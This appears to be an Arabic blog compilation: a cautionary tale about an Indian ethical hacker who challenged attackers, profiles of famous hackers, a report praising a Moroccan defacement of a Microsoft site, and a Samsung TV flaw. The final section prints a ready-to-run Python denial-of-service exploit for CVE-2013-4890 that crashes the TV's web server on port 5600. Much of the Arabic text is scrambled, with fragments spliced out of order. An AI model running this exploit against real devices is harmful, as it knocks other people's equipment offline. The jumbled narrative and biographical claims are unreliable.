قصة الهاكرالهندي الذي تحدى كل هاكرز العالم و هزمهم

قصة الهاكرالهندي الذي تحدى كل هاكرز العالم و هزمهم

هذه قصة ووير قدراتهمجان ، وكن على يقين ان نهايتك ستكون بإختراقك طال الزمن او قصر .

الثقة الزائدة في النفس ، ة تعلمنا 4 دروسالدرس الاول الــ FBI او البانتاغون او الناسا غي

هاكر اخلاقيي درانه  في الحماية المعلوماتية لاتوجد حماية 100%  ولايمكن لك كمتخصص في الامن المعلوماتي ان تؤمن ان حمايتك لن يتم إختراقها . مايجب ان تعلمه ان كل مايمكنك القيام به هو تصعيب المهمة على الهاكر .ولاتعتقدان 

لاقي ، قام بعمن الجحد ، فالتقليل من مستوى الافراد اسلوب لاينطبق إلا على عديمي التجربة في الحياة ، فكما يقول المثل يوجد في النهرى اولى الإخترقات ،  وعباراة HAckeاقعية تتمثل في أن هندي حصل على شهادة CEH وهي عبارة عن شهادة هاكر أخلاقي يحصل عليها الطالب بعد ان يستوفاسة 62 وحدة وإجتياززيد من 280 إختراق في اقل من 3 أيام ، ومند ذلك الحين لم نسمع أي خبر عن أخونا الهندي الذي تحدى هاكرز العالم هذه القصمن الهاك

ر قابلة للإختر مالايوجد في البحر ، والرجال لاتحتقر .د أيام الإمتحان النهائي ، هكذا فإن صديقنا الهندي بعد إن إجتاز الإمتحانات وحصل على شهادة الهاكر الاخرز خصوصا، فبدأ ينتشر خب مادام انه أضحى يشعر انه وصل إلى درجات من العلم والمهارة ، وهذا أمر خاطئ فنحن نتعلم حتى نموت .

لاتقلل من مستوى ألتجربة هو من يتحدى الهاكرز ، فبدون الدخول الى  شخصية الهاكر فإن الهاكرز لايقبلون الإستفزاز وبإستفزازهم فأنت تجلب المتاعب لنفسك بالر ان الموقع الفلاني يتحدى كل هاكرز العالم في إختراق الموقع على المنتديات واوكار الهاكرز ، لم تمر على موقع الهندي 48 ساعة حتى بدأ يتلقاق فكل شيئ ممكن .

الدرس الثاني لاتتحدى الهاكرز ،  عديم اميل جدا ان تتمتع بثقة في النفس ، لكن اي شيئ يزيد عن حده فإنه ينقلب إلى ضده ، فالثقة الزائدة تصيب الإنسان بالغرور ، الاخير الذي يدمر مهارات الإنسان ببطئ دون ان ينتبه لذلك ، بل وتمنع الشخص من إستكمال تطd by تتغير من إسم هاكر لآخر وكل هاكر إخترق الموقع يضع رسالة انه ينتضر مراسلة الهندي على إيميله من اجل إرسال المال إليه ، إلى حين ان قام الهندي بإيقاف الموقع حيث بلغ عدد الإختراقات ا ببرمجة موقعه الذي يقدم من خلاله دروس في الحماية والامن المعلوماتي ، تم تحدى كل هاكرز العالم بلغة صريحة وواضحة " من قام بإختراق موقعي سأعطيه جائزة 2000 دولار امريكي ) ، وكون ان أغلبية من بدأ يزور الموقع هم 

تعرف على مشاهير الهاكرز عبر التاريخ

   رغم التطور المذهل و الكبير الذي(Hacker) ليذل على هذا تعرفه العلوم و التكنولوجيات الحديثة, ضلت هناك دائما عيوب و ثغرات في الغا

كذلك ظهر مصطلح هاكر  الن و الإتصال, في تدوينة اليوم نتعرف على قائمة بأشهرالهاكرز منذ ظهورهم, ماذا كانت جرائمهم؟ و كيف كان مستقبلهم؟لبوع من الأشخاص في مجال المعلوميات تجد من يستغلها, أناس عاديون, شعارهم لا شيء مثالي, و أهدافهم في الغالب كانت مصالح شخصية.

Kevin Mitnick

يعتبر كأشهر هاكر عبر التاريخ كما أن وزارة العدل الأمريكية اعتبرته كأكثر مجرمي الكمبيوتر طلبا في تاريخ الولايامراو كلمات المرور.

في عام 1979 و عندما كان عمره 16 سنة, استطاع كيفن أن يخترق شبكة Digital Equipment Corporation DEC أحد أكبر الشركات الأمريكية و است Kevin Mitnick عندما كان عمره اثني عشرة سنة عندما استخدم طريقة الهندسة الاجتماعية لتجاوز نضام بطاقات الحافلات, و كان بإمكانه ركوب أي حافلة مجانا في ولاية لوس أنجلس, بعد ذلك صارت الهندسة الإجتماعية طريقته الرئيسية للحصول على معلوما Sun Microsystems و أيضا البينتاغون الأمريكي. بعدها قضى 5 سنوات أخرى في السجن ليخرسماء المستخدمين تطاع أن يحصل على برنامجهم الخاص, لكن بعد تسع سنوات تم اتهامه و حبسه لمدة عام كامل إضافة إلى ثلاث سنوات كإطلاق الصراح المشروط.

ما ان انقضت الثلاثج و يصبح مستشار في الأمن المعلوماتي, أما الان فهو يدير شركته الخاصة للحماية.ت حات المتحدة الأمريكية.

بدأت مغساسة كأ سنوات حتى قام كيفن مرة أخرى باختراق قواعد بيانات الكثير من الشركات منها Pacific Bell, Fujitsu, Motorola, Nokia,

Robert Tappan Morris

هو الان أس برمج فيروس استطاع أن يصيب أكثر من 6000 حاسوب بنظام لينكس, تم إحالته على المحكمة بعد ذلك لكنه ادعتاد في أشهر جامعات الولايات المتحدة الأمريكية MIT Computer Science و أيضا في مختبر الذكاصنة كأول منى أنه لم يكن يحاول أن يسبب أي أدى. بل كان فقط يحاول فقط قياس حجم Then-Embryonic اء الصناعي.

اكتسب شهرته بين عالم القرInternet.

Gary McKinnon

كان يلقب نفسه ب Solo و كانت القرصنة بالنسبة له طريقة للترفيه  97 حاسوب

تسبب غاري بما يسمى الان بأكبر هجوم إلكتروني على منشئات عسبعد أن تمفقط. من أصول سكوتلندية لكن بريطاني المنشئ.ت المتحدة الأمريكية كانت تخبئ تكنولوجيا خارجية خارقة قد تساعد على حل مشاكل الطاقة في العالم.كرية عبر التاريخ, فقد استطاع في مدة 13 شهرا اختراق اتهامه ادعى غاري أنه كان يبحت فقط عن معلومات تخص الكائنات الفضائية ايمانا منه بأن الولاياا ينتمون الى القوات المسلحة الأمريكية و الوكالة الفضائية NASA.

Adrian Lamo

نعلم جميعا أن الشركات الكبيرة في بعض الأحيان توضف القراصنة حتى يقومخبرهم بما كان بإمكانه فعله بأنظمتهم, من بين الأهداف التي استطاع اخي كان يقوم بها.

بعد إيقافه من طرف الشرطة قدم سنتين من الخدمة العمومية أما الان فهو يشتغل كصحفي في مجال التكنولوجيا.

تراقها Microsoft, Yahoo و The New York Times. حيت كان يقوم بختبار أنظمتها لكن لم تقم شركة قط بتوظيف أدريانو, ليس خوفا منه بل لأن هذا ما كان يقوم به طوال الوقت.

فقد اخترق بين سنتي 2002 و 2003 مجموعة من الأهداف الرفيعة ثم بعد ذلك كان يراسلأدراج اسمه في قائمة خبراوا با أهدافه و يء الشركة.

كان يلقب بالقرصان المتشرد لأنه كان يتخد من المباني المهجورة مسكنا له و كان يستخدم نقط الاتصال العمومية لأعمال القرصنة الت

Albert "segvec" Gonzalez

اكتسب البرت شهرته عندما استطاع أن يجمع أكثر من 170 مليون حساب بنكي في مانات كل من TJX Companies و Heartland Payment Systemsق قرصنة يسمى ب ShadowCrew اشتهروا بسرقتهم للبطاقات البنكية و بيعهم لها على الانترنت كما أنهم قامو بتزوير الكثير من جوازا.3 مليون دولار أمريكي.

بعد ذلك قام باختراق قواعد بي

تم الحكم على البرت غونزاليز بعد ذلك ب 20 سنة يقضيها في السجن.

دة لم تتجاوز السنتين أي ما يقارب نصف سكان الولايات المتحدة الأمريكية.

كانت بداياته كقائد لفريت السفر, بطاقات التأمين الصحي كهويات يستعملونها لأعمال سرقة قاربت قيمتها 4

John Draper

يعتبره البعض كالأب الروحي للهاكرز كما يعتبر أيضا من أساطيرة.ي أوائل السبعينات, أي أنه كان يجيد التلاعب بشركات الهواتف.

اكتسب شهرته لأول مرة عندما اكتشف هو و صديق له أن لعبة بسيطة حصلوا عليها كهدية من أحد علب حبوب الافطار كانت تصدر نفس ترددات النغمات الم البرمجة.

كان يلقب ب Captain Crunch و كان يعتبر ملك Phone Phreaking فو أي بلد في العالم.

بعد ذلك اشتغل مع شركة Apple و قام ببرمجة أول برنامج من فئة Word-Processing سماه EasyWriter أما الان فهو يشتغل في برمجة برامج الحمايستخدمة في AT&T لتوجيه المكالمات, ثم بعد ذلك استطاع جون الخروج بالة منزلية الصنع سماها بBlue Boxes لإجراء مكالمات مجانا نح

Jonathan James

كان يلقب ب c0mrade, حصل على شهرته بين الهاكرز عندما استطان دوجوناتن جيمس بالعديد من الهجمات التي أنكرها كاملة لينتحر سنة 2008 خوفا منه من السجن.

معروفة مثل Bell South, Miami-Dadلار مما اضطر الوكالة الفضائية لإغلاق شبكتهم لمدة ثلاث أسابيع متتالية.

في سنة 2007 تم ربط e, U.S. Department of Defense و أيضا الوكالة الفضائية ع و عمره 15 سنة فقط أن يخترق مجموعة من الشبكات ال استطاع تحميل مصادر كافية ليفهم طريقة اشتغال المحطة الفضائية العالمية, كانت تبلغ قيمة التحميلات 1.7 مليوNASA حيت

Kevin Poulsen

عرف ب Daن طرف ال FBI عندما قام باختراق العديد من الأنظمة الفديرالية, بعد ذلك تم الحكم عليه ب 51 شهرا سجنا و دفع غرامة قيمتها 56000 دمباشرة بعد خروجه من السجن غير كيفن من مساره و صار صحفيا مشهورا إض

ليبرمج نفسه كالمتصل الرابح في احدى المسابقات ليفوز بسيارة بورش جديدة.

بعد ذلك تمت متابعته مافة إلى أنه ساعد السلطات القانونية على تحديد 744 من مرتكبي الجرائم الجنسية على موقع MySpace.

ولار أمريكي.rk Dante و حصل على حصته من الشهرة عندما استطاع أن يخترق خطوط الهاتف لمحطة إداعية

مغربي يخترق موقع ميكروسفت

  مغربي يخترق موقع ميكروسفت

 

 

تمكن مغربي قبل يومين ممن دعس كقل من مدة 24 ساعة  حيث قامت الشركة فور دعسها للمرة الاولى بصيانة الموقع وإرجاعه للعمل ، امل للموقع البرتغالي التابع لميكروسفت saude.pt.msn.com مرتين على التوالي في ا

قبل ان يتكمن المهاجم والمocain x-line من دعسه مرة اخرى ونشر رسالته على اندكس

 الإختراق .دعدوmar

المهاجم marocain x-line المعرث اسقط العديد منها ، هذه هي 

المرة الاولى التي يسقط فيها موقع كبير تابع لميكروسف ، حيث عمد المهاجم على تسجيل الإختراق

في عدة مواقع : وف بعدائه للمواقع الإسرائلية ، حي

http://www.zone-h.org/mirror/id/18480504

 http://arab-zone.info/mirror/203133/saude.pt.msn.com

إختراق مثل هذا النوع ودعس كامل للموقع يوضح مدى الضعف الشديد لمواقع ميكروسفت ، خصوصا وانها ليست المرة الاولى التي تغتصب فيها مواقع ميكروسفت بهذا الشكل المتوحش .

تغرة فى شاشات Samusung تمكنك من عمل Ddos attack

تغرة فى شاشات  Samusung  تمكنك من عمل Ddos attack

أكد الباحثون في مجال الامن المعلوماتي  على إيجادهم لتغرة في أجهزة التلفاز سامنونج تمكنه من عمل هجوم حجب الخدمة،حيث يشكل هذا التهديد خطر كبير على هذه الأجهزة التلفزية ، حيث تتوفر هذه الاجهزة على قدرة الاتصال بالانترنت
مع العلم أن هذا الهجوم يتم عن طريق سكريبت معين مكتوب بلغة البايثون حيث يتم تشغيله من جهاز متصل على نفس الشبكة التي عليها جهاز التلفاز

و أكد الباحث الامني ان الجهاز التلفزي متبث عليه ويب سرڤرحيث مباشرة بعد إرسال طلبات حجب
الخدمة من المهاجم يقوم السرڤر بالرد على هاته الطلبات عبر پورت5600 حيث يمكنه من حجب  الصورة و الصوت للجهاز عن طريق الواي فاي و بالتالي تمكنك من عمل هجوم حجب الخدمة عن طريق ارسال عدة بروتوكولات بشكل متتابع حيث يقوم الجهاز بحجب الصورة و الصوت متأترا بالهجمة

(الغرض هو عرض للشرح فقط !!):السكريبت المستعمل في الهجمة

#!/usr/bin/python

# Exploit Title: Samsung TV Denial of Service (DoS) Attack

# Exploit Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com

# Date: 07/21/2013

# CVE Number: CVE-2013-4890

# Vendor Homepage: http://www.samsung.com

# Description:

#   The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long HTTP GET request

#   As a results, the TV reboots...

#   Tested successfully on my Samsung PS50C7700 plasma TV, with the latest firmware :) 

import httplib

import sys

import os

print "  **************************************************************"

print "   Author: Belalatia - @MME_IT - http://www.pr0programer.tk\n"

print "   Exploit: Denial of Service (DoS) attack\n"

print "   Description:\n"

print "     The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long request."

print "     Tested successfully on my Samsung PS50C7700 plasma TV :) \n"

print "  ******************************************************************\n"

# Sends the payload

print "  Sending the malicious payload...\n"

conn = httplib.HTTPConnection(sys.argv[1],5600)

conn.request("GET", "A"*300)

conn.close()

# Checks the response

print "  Checking the status... (CTRL+Z to stop)\n"

response = 0

while response == 0:

  response = os.system("ping -c 1 " + sys.argv[1] + "> /dev/null 2>&1")

  if response != 0:

    print "  Target down!\n"